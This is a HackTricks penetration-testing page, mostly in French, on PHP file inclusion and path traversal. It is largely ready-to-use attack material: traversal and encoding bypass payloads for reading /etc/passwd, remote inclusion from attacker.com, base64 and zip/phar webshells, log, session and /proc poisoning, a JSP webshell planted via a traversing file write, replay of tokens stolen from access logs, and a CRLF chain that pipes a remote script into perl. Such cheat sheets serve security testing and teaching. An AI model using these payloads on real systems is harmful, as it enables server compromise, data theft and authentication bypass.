File Inclusion/Path traversal

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

File Inclusion

Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Idéalement : vous pouvez écrire le code et le serveur l’exécutera). En php ceci est désactivé par défaut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l’utilisateur peut contrôler d’une manière ou d’une autre le fichier que le serveur va charger.

Fonctions PHP vulnérables: require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE fichiers

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

En mixant plusieurs listes LFI *nix et en ajoutant d’autres chemins, j’ai créé celle-ci :

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Essayez aussi de remplacer / par \
Essayez aussi d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve ici

Windows

Fusion de différentes wordlists :

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi de supprimer C:/ et d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve ici

OS X

Consultez la liste LFI de linux.

LFI de base et contournements

Tous les exemples concernent Local File Inclusion mais pourraient aussi s’appliquer à Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

Séquences de traversal supprimées de façon non récursive

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Octet nul (%00)

Bypass l’ajout de caractères à la fin de la chaîne fournie (bypass de: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard comme double URL encode (et d’autres):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Depuis un dossier existant

Peut-être que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploration des répertoires du système de fichiers sur un serveur

Le système de fichiers d’un serveur peut être exploré de façon récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur des répertoires et de sonder l’existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :

  1. Déterminer la profondeur des répertoires : Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier /etc/passwd (applicable si le serveur est basé sur Linux). Un exemple d’URL pourrait être structuré comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sonder les dossiers : Ajoutez le nom du dossier suspect (p. ex., private) à l’URL, puis revenez à /etc/passwd. Le niveau de répertoire supplémentaire nécessite d’incrémenter la profondeur d’un niveau :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpréter les résultats : La réponse du serveur indique si le dossier existe :
  • Error / No Output : Le dossier private n’existe probablement pas à l’emplacement spécifié.
  • Contents of /etc/passwd : La présence du dossier private est confirmée.
  1. Recursive Exploration : Les dossiers découverts peuvent être sondés davantage pour des sous-répertoires ou fichiers en utilisant la même technique ou des méthodes traditionnelles de Local File Inclusion (LFI).

Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire courant est à une profondeur de 3), utilisez :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L’objectif est de concevoir un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.

En PHP, différentes représentations d’un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ sont tous traités comme le même chemin.
  • Lorsque les 6 derniers caractères sont passwd, ajouter un / (faisant passwd/) ne change pas le fichier ciblé.
  • De même, si .php est ajouté à un chemin de fichier (comme shellcode.php), ajouter un /. à la fin n’altérera pas le fichier accédé.

Les exemples fournis montrent comment utiliser path truncation pour accéder à /etc/passwd, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scénarios, le nombre de traversées nécessaires peut être d’environ 2027, mais ce nombre peut varier selon la configuration du serveur.

  • Utilisation de segments de points et de caractères supplémentaires : Les séquences de traversal (../) combinées à des segments de points supplémentaires et à d’autres caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant effectivement les chaînes ajoutées par le serveur.
  • Déterminer le nombre requis de traversées : Par essais et erreurs, on peut trouver le nombre précis de séquences ../ nécessaires pour atteindre la racine puis /etc/passwd, en veillant à ce que les chaînes ajoutées (comme .php) soient neutralisées tout en conservant le chemin désiré (/etc/passwd).
  • Commencer par un répertoire factice : Il est courant de commencer le chemin par un répertoire inexistant (comme a/). Cette technique sert de précaution ou permet de satisfaire les exigences de la logique d’analyse du chemin du serveur.

Lors de l’utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d’analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Techniques de contournement de filtres

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Dans php, ceci est désactivé par défaut parce que allow_url_include est Off. Il doit être On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si pour une raison quelconque allow_url_include est On, mais PHP filtre l’accès aux pages web externes, selon ce post, vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP b64 et obtenir une RCE :

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Dans le code précédent, le +.txt final a été ajouté parce que l’attaquant avait besoin d’une chaîne se terminant par .txt, donc la chaîne se termine par cela et après le décodage b64 cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).

Un autre exemple n’utilisant pas le protocole php:// serait :

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Élément Root en Python

En Python, dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l’utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé :

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

C’est le comportement prévu selon the docs:

Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jonction continue à partir du composant de chemin absolu.

Java List Directories

Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire au lieu d’un fichier, un listing du répertoire est renvoyé. Cela ne se produit pas dans d’autres langages (afaik).

Top 25 parameters

Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux local file inclusion (LFI) vulnerabilities (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI utilisant les wrappers & protocoles PHP

php://filter

Les filtres PHP permettent d’effectuer des opérations de modification sur les données avant qu’elles ne soient lues ou écrites. Il existe 5 catégories de filtres :

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Supprime les balises des données (tout ce qui se trouve entre les caractères “<” et “>”)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme vers un autre encodage (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages supportés, lancez en console : iconv -l

Warning

En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu’une fonction comme include traite du texte arbitraire. Pour plus d’infos, consultez LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Decompress the data
  • Encryption Filters
  • mcrypt.* : Déprécié
  • mdecrypt.* : Déprécié
  • Other Filters
  • Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters:
  • consumed
  • dechunk: inverse l’encodage HTTP chunked
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La partie “php://filter” n’est pas sensible à la casse

Using php filters as oracle to read arbitrary files

In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.

In the original post you can find a detailed explanation of the technique, but here is a quick summary:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won’t delete it and the initial bomb will make php error.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez aussi utiliser php://stdin, php://stdout and php://stderr pour accéder aux file descriptors 0, 1 and 2 respectivement (je ne vois pas trop comment cela pourrait être utile dans une attaque)

zip:// and rar://

Téléversez un fichier Zip ou Rar avec un PHPShell à l’intérieur et accédez-y.
Pour pouvoir abuser du protocole rar, il doit être activé spécifiquement.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci :

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre payload dans les paramètres POST :

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut être utilisé pour exécuter du code PHP lorsqu’une application web utilise des fonctions telles que include pour charger des fichiers. L’extrait de code PHP ci-dessous montre la création d’un fichier .phar :

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit être exécutée :

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

Consultez davantage de protocols to include here:

  • php://memory and php://temp — Écrit en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une file inclusion attack)
  • file:// — Accès au système de fichiers local
  • http:// — Accès aux URLs HTTP(s)
  • ftp:// — Accès aux URLs FTP(s)
  • zlib:// — Compression Streams
  • glob:// — Find pathnames matching pattern (Ne renvoie rien d’imprimable, donc pas vraiment utile ici)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Pas utile pour lire des fichiers arbitraires)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the ‘assert’ function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like “..” is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Bien que cela vise à empêcher la traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d’un fichier, un attaquant pourrait utiliser :

' and die(highlight_file('/etc/passwd')) or '

De même, pour exécuter des commandes système arbitraires, on peut utiliser :

' and die(system("id")) or '

Il est important de URL-encode these payloads.

PHP Blind Path Traversal

Warning

Cette technique est pertinente dans les cas où vous control le file path d’une PHP function qui va access a file mais dont vous ne verrez pas le contenu (comme un simple appel à file()) car le contenu n’est pas affiché.

Dans this incredible post il est expliqué comment un blind path traversal peut être abusé via PHP filter pour exfiltrate the content of a file via an error oracle.

En résumé, la technique utilise l’encodage “UCS-4LE” pour rendre le contenu d’un fichier si big que la PHP function opening le fichier provoquera une error.

Puis, pour leak le premier char, le filter dechunk est utilisé avec d’autres comme base64 ou rot13, et finalement les filters convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour place other chars at the beggining and leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez le post mentionné !

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Lorsqu’un code côté serveur qui ingère/uploade des fichiers construit le chemin de destination en utilisant des données contrôlées par l’utilisateur (par ex. un filename ou URL) sans canonicaliser et valider, les segments .. et les chemins absolus peuvent s’échapper du répertoire prévu et provoquer l’écriture arbitraire d’un fichier. Si vous pouvez placer le payload dans un répertoire exposé au web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.

Flux d’exploitation typique :

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Déterminer les répertoires exposés au web. Exemples courants :
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Construisez un traversal path qui sort du répertoire de stockage prévu vers le webroot, et incluez votre contenu de webshell.
  • Accédez au payload déposé et exécutez des commandes.

Notes:

  • Le service vulnérable qui effectue l’écriture peut écouter sur un port non-HTTP (par ex. un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
  • Sur les stacks Java, ces écritures de fichiers sont souvent implémentées par une simple concaténation File/Paths. Le manque de canonicalisation/allow-listing est le défaut principal.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Durcissement qui empêche cette classe de bugs :

  • Résoudre en un chemin canonique et vérifier qu’il est descendant d’un répertoire de base autorisé.
  • Rejeter tout chemin contenant .., des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés.
  • Exécuter le writer sous un compte à faibles privilèges et séparer les répertoires d’écriture des racines servies.

Remote File Inclusion

Expliqué précédemment, follow this link.

Via Apache/Nginx log file

Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include, vous pouvez tenter d’accéder à /var/log/apache2/access.log or /var/log/nginx/access.log, d’insérer dans le user agent ou dans un GET parameter un php shell comme <?php system($_GET['c']); ?> et d’inclure ce fichier

Warning

Notez que si vous utilisez des guillemets doubles pour le shell au lieu de guillemets simples, les guillemets doubles seront modifiés pour la chaîne “quote;”, PHP renverra une erreur et rien d’autre ne sera exécuté.

De plus, assurez-vous d’écrire correctement le payload sinon PHP renverra une erreur à chaque tentative de chargement du fichier de log et vous n’aurez pas de seconde opportunité.

Cela peut aussi être fait dans d’autres logs mais faites attention, le code à l’intérieur des logs peut être URL encoded et cela peut détruire le Shell. L’en-tête authorisation “basic” contient “user:password” en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
Autres chemins de logs possibles:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lire les access logs pour récolter des auth tokens basés sur GET (token replay)

De nombreuses apps acceptent par erreur des session/auth tokens via GET (par ex., AuthenticationToken, token, sid).

Si vous avez un primitive path traversal/LFI donnant accès aux web server logs, vous pouvez voler ces tokens depuis les access logs et les replay pour fully bypass authentication.

How-to:

  • Utilisez le traversal/LFI pour lire le web server access log. Emplacements courants :
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Certaines endpoints renvoient file reads Base64-encoded. Si c’est le cas, décodez localement et inspectez les log lines.
  • Grep pour les requêtes GET qui incluent un paramètre token et capturez sa valeur, puis replayez-la contre l’application entry point.

Exemple de flux (générique) :

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Décoder le corps s’il est Base64, puis rejouer un token capturé :

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Remarques:

  • Les tokens dans les URLs sont enregistrés par défaut ; n’acceptez jamais de bearer tokens via GET dans des systèmes en production.
  • Si l’app supporte plusieurs noms de token, recherchez des clés courantes comme AuthenticationToken, token, sid, access_token.
  • Renouvelez tous les tokens qui ont pu leaked dans les logs.

Par e-mail

Envoyer un mail à un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l’inclure dans le mail de l’utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Par /proc/*/fd/*

  1. Téléversez beaucoup de shells (par exemple : 100)
  2. Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être brute forced) et $FD = file descriptor (peut aussi être brute forced)

Par /proc/self/environ

Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l’intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (p. ex. : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour que le fichier reste lisible il est préférable d’injecter dans les métadonnées des images/doc/pdf

Via upload de fichier ZIP

Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Vérifiez si le site web utilise PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Dans PHP, ces sessions sont stockées dans /var/lib/php5/sess\[PHPSESSID]_ fichiers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez la LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d’accéder à <HOME>/.ssh/id_rsa

Via vsftpd logs

Les logs du serveur FTP vsftpd se trouvent à /var/log/vsftpd.log. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) est présente et qu’il est possible d’accéder à un serveur vsftpd exposé, les étapes suivantes peuvent être envisagées :

  1. Injectez un payload PHP dans le champ username lors du login.
  2. Après l’injection, utilisez la LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.

Via php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Ce writeup explique que vous pouvez utiliser php filters pour générer du contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l’include sans avoir besoin de l’écrire dans un fichier.

LFI2RCE via PHP Filters

Via segmentation fault

Upload un fichier qui sera stocké en temporary dans /tmp, puis dans la même requête, provoquez un segmentation fault, et alors le temporary file won’t be deleted et vous pourrez le rechercher.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Si vous avez trouvé une Local File Inclusion et que Nginx est en frontal de PHP, vous pourriez obtenir RCE avec la technique suivante :

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une Local File Inclusion même si vous n’avez pas de session et que session.auto_start est Off. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS dans les données multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir RCE :

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Si vous avez trouvé une Local File Inclusion et que le serveur tourne sous Windows vous pourriez obtenir RCE :

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Ce qui suit exploite une vuln CRLF pour obtenir une RCE (from here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le path du temp file MAIS que le server est en train de vérifier si le fichier à inclure a des PHP marks, vous pouvez essayer de bypasser cette vérification avec cette Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via attente éternelle + bruteforce

Si vous pouvez abuser du LFI pour uploader des fichiers temporaires et faire que le serveur bloque l’exécution PHP, vous pourriez alors brute force des filenames pendant des heures pour trouver le fichier temporaire:

LFI2RCE via Eternal waiting

Vers Fatal Error

Si vous incluez l’un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même deux fois pour déclencher cette erreur).

Je ne sais pas en quoi c’est utile mais ça pourrait l’être.
Même si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP uploadés sont supprimés.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks